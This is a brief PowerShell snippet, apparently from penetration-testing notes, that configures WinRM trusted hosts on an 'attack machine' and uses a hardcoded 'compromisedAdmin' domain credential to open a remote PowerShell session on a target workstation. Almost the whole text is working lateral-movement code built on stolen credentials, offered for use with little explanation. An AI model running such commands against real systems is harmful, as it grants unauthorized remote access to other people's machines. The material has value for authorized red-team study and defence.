Enter-PSSession from outside a domain

E-PS_Outside.ps1

# Tell the attack machine to trust these hosts on a foreign domain
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="ws01.example.com,sql02.example.com"}'

# Enter the credentials to use when connecting
$username = "example.com\compromisedAdmin"
$pass = "Luggage=12345"
$fancypass = ConvertTo-SecureString $pass -AsPlainText -Force
$dacred = New-Object System.Management.Automation.PSCredential ($userName, $fancypass)

# Connect!
Enter-PSSession -ComputerName ws01.example.com -Credential $dacred

Try this next time to move to all native PowerShell